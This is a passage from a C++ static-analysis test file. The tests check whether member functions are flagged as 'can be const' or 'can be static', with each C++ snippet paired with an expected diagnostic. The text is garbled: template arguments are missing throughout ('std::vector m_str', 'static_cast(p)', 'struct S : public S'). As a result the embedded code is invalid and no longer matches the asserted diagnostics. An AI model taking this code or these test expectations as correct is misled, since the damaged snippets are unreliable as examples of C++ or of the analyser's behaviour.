ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the 